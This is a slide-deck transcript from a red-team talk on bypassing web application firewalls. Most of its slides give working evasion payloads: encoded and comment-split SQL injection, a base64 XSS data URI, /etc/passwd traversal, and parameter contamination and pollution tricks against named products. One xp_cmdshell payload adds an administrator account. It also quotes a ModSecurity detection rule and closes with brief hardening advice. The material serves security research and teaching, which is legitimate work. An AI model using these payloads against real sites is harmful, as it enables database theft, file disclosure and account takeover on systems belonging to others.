Web Application Firewall: Suckseed or Succeed

44
Web Application Firewall (WAF) Suckseed or Succeed !? Mr.Prathan Phongthiproek Consulting Manager, Red Team ACIS Professional Center

description

Breach WAF with advanced techniques

Transcript of Web Application Firewall: Suckseed or Succeed

Page 1: Web Application Firewall: Suckseed or Succeed

Web Application Firewall (WAF)Suckseed or Succeed !?

Mr.Prathan Phongthiproek Consulting Manager, Red TeamACIS Professional Center

Page 2: Web Application Firewall: Suckseed or Succeed

Who am I ?

ACIS Professional Center

Manager of the Red Team

Specializing in Attack & Penetration

Information Security Consulting Manager

Instructor and Speaker

Founder of CWH Underground Hacker

Aka 0x7a657133756c

Page 3: Web Application Firewall: Suckseed or Succeed

Let’s RevealIntroduction to Web Application Firewall (WAF)

Breach it !! Filter Evasion

HTTP Parameter Contamination

HTTP Pollution: Split and Join

Conclusion

Page 4: Web Application Firewall: Suckseed or Succeed

Introduction to Web Application Firewall (WAF)

Page 5: Web Application Firewall: Suckseed or Succeed

Web Application Hacking

7 of 10 sites are vulnerable

70% of Cyber attacks are on web ports

95% of companies are hacked through web ports

Anonymous and Lulzsec

Hacker with Operation

#AntiSec

Page 6: Web Application Firewall: Suckseed or Succeed

Web Application Hacking

Top 3 Web App AttacksCross Site Scripting

File Inclusion (Remote/Local)

SQL Injection (Normal/Blind/Time based/Regex...)

Page 7: Web Application Firewall: Suckseed or Succeed

Misunderstand for Harden Web Application

Page 8: Web Application Firewall: Suckseed or Succeed

What’s WAF ?

Emerged from IDS/IPS focused on HTTP protocol and HTTP related attacks

Usually contain a lot of complex

reg-exp rules to match (Blacklist)

For most WAF vendors they are “Closely guarded secrets”

Open-source WAFs (Mod_security and PHPIDS) have open source rules

Page 9: Web Application Firewall: Suckseed or Succeed

Understand Blacklist

Page 10: Web Application Firewall: Suckseed or Succeed

Detection and ProtectionSQL Injection

Cross Site Scripting

Local and Remote File Inclusion

Code/Command Injection

Directory Traversal

Buffer Overflow

Cookie Poisoning

Parameter Tampering

Upload File Mis-Handling

Information Disclosure

Etc...

Page 11: Web Application Firewall: Suckseed or Succeed

WAFs VendorsArmorize

Barracuda

Cisco ACE

Citrix Netscaler

F5

Imperva SecureSphere

Radware Appwall

Profense

Bee-ware

BinarySec

Mod Security

WebKnight

DenyAll

Fortify

Visonys

Pentasecurity

Other..

Page 12: Web Application Firewall: Suckseed or Succeed

WAF implementation

Page 13: Web Application Firewall: Suckseed or Succeed

Breach it !! (CMS and WAFs)“เอาอยู ่เอาอยู.่......แตกแล้ว”

Page 14: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

PHP: Magic_quote On, Mysql_real_escape_string, Addslashes

‘ “ -> \’ \”

id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’

Page 15: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

PHP: Magic_quote On, Mysql_real_escape_string, Addslashes

‘ “ -> \’ \”

id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

Page 16: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

PHP: Magic_quote On, Mysql_real_escape_string, Addslashes

String to ASCII

id=1 and 1=2 union select 1,load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,99,111,110,102,105,103,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112))

Page 17: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Comments //,--,/**/,/*,#,%00

id=1+un/**/ion+se/**/lect+1,2,3--

Case Changing (lower case)

/union\sselect/gid=1+UnIoN/**/SeLecT/**/1,2,3--

Replaced keywordsid=1+UnunionIoN+SeselectLecT+1,2,3--

Page 18: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Case Study: NukeSentinel (PHP Nuke)Encode to Hex

Forbidden: http://victim.com/php-nuke/?/**/union/**/select.......

Bypass: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select.......

Bypass: http://victim.com/php-nuke/?%2F**%2Funion%2F**%2Fselect.......

Page 19: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)Buffer Overflow (For C language)

id=1+and+(select 1)=(Select 0x41414141414141414141414141414141.....)+UnIoN+SeLecT+1,version(),3,database(),user(),6,7,8,9,10--

Page 20: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Inline Comments (/*!......*/)A lot of WAFs was bypassed

Bypass IPS and Timeout

MySQL Only (http://dev.mysql.com/doc/refman/5.0/en/comments.html)

/union\sselect/ig

id=1/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

Page 21: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Inline Comments (/*!......*/)

Page 22: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Censor

Page 23: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Other Bypasses: and -> &&

or -> ||

= -> like

substring() -> substr(), mid(), strcmp()

ascii() -> hex(), bin(), char(), ord()

benchmark() -> sleep()

Whitespace -> (),/**/,%0b

isnull, between

Page 24: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Case Study: PHPIDS

Page 25: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Case Study: PHPIDS

Page 26: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Case Study: PHPIDS

Page 27: Web Application Firewall: Suckseed or Succeed

Filter Evasion (SQLi)

Case Study: Mod Security CRS

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \

"phase2,rev:'2.2.1',capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

Page 29: Web Application Firewall: Suckseed or Succeed

Filter Evasion

Cross Site Scripting (XSS)Forbidden: http://victim.com/search.php?q=javascript:alert('XSS')

Bypass: http://victim.com/search.php?q=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

File InclusionForbidden: http://victim.com/download.php?file=../../../etc/passwd

Bypass: http://victim.com/download.php?file=../../../etc/passwd..........

Bypass: http://victim.com/download.php?file=../../../foo/../etc/bar/../passwd

Page 30: Web Application Firewall: Suckseed or Succeed

HTTP Parameter Contamination

Page 31: Web Application Firewall: Suckseed or Succeed

HTTP Parameter Contamination

Bypass Mod_Security SQLi rule (modsecurity_crs_41)

Bypass URLScan 3.1 DenyQueryStringSequences rules

Bypass AQTRONIX Webknight WAF with “%”

Page 32: Web Application Firewall: Suckseed or Succeed

HTTP Parameter Contamination

Case Study: AQTRONIX Webknighthttp://victim.com/news.asp?id=10 an%d 1=0/(sel%ect top 1 tab%le_name fr%om inform%ation_schema.tables)

10 an%d 1=0/(sel%ect top 1 tab%le_name fr%om inform%ation_schema.tables)

10 and 1=0/(select top 1 table_name from information_schema.tables)

Page 33: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

HPP is a quite simple but effective hacking technique

HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string

Focus on ASP/ASP.net

A lot of WAF was bypassed

Page 34: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

Page 35: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

Page 36: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

Page 37: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

Basic Attack

Forbidden:http://victim.com/search.aspx?q=select name,password from user

Bypass:http://victim.com/search.aspx?q=select name&q=password from user

q=select nameq=password from user

q=select name,password from user

Page 38: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

HPP+Inline Comment (Bypass Commercial WAF)

Forbidden:http://victim.com/search.aspx?q=select name,password from user

Bypass:http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/user

q=select/*q=*/nameq=password/*q=*/from/*q=*/user

q=select/*,*/name,password/*,*/from/*,*/userq=select name,password from user

Page 39: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and Join

Page 40: Web Application Firewall: Suckseed or Succeed

HTTP Pollution: Split and JoinCase study: IBM Web Application Firewall (2011-6-21)

Forbidden:http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user lucifer UrWaFisShiT /add” --

Bypass:http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --

id=1’; /*id=1*/ EXEC /*id=1*/ master..xp_cmdshell /*id=1*/ “net user lucifer UrWaFisShiT” /*id=1*/ --

id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user lucifer UrWaFisShiT” /*,1*/ --id=1’; EXEC master..xp_cmdshell “net user lucifer UrWaFisShiT” --

Page 41: Web Application Firewall: Suckseed or Succeed

“ประเทศไทยต้องการ ความเปลี่ยนแปลง ถึงเวลาที่ทุกคนในประเทศตื่นตัวได้แล้ว ความโง่เขลาจักต้องหมดสิ้นไป”

Page 42: Web Application Firewall: Suckseed or Succeed

How to protect your website ?

Implement Secure Software Development Life Cycle (SSDLC)

Secure Coding: Validate all inputs and outputs

Pentest before Online

Harden it !!

Re-visit Again

Deploy WAF (Optional)

Page 43: Web Application Firewall: Suckseed or Succeed

ConclusionWAF is not the long-expected

It’s functional limitations, WAF is not able to protect a web app from all possible vulnerabilities

It’s necessary to adapt WAF filter to the particular web app being protected

WAF doesn’t eliminate a vulnerability, It just partly screens the attack vector

It suckseed or succeed !?

“Security Products not able to 100% protect from damn config/coding of admin. Just need a time and imagination for breach it !!”

Page 44: Web Application Firewall: Suckseed or Succeed

Greetz To..

ACIS-Red Team

Kyle

Johannes Dahse

Ahmad Maulana

Luca Carettoni

Stefano di Paola

Ivan Markovic

All WAF products that I breached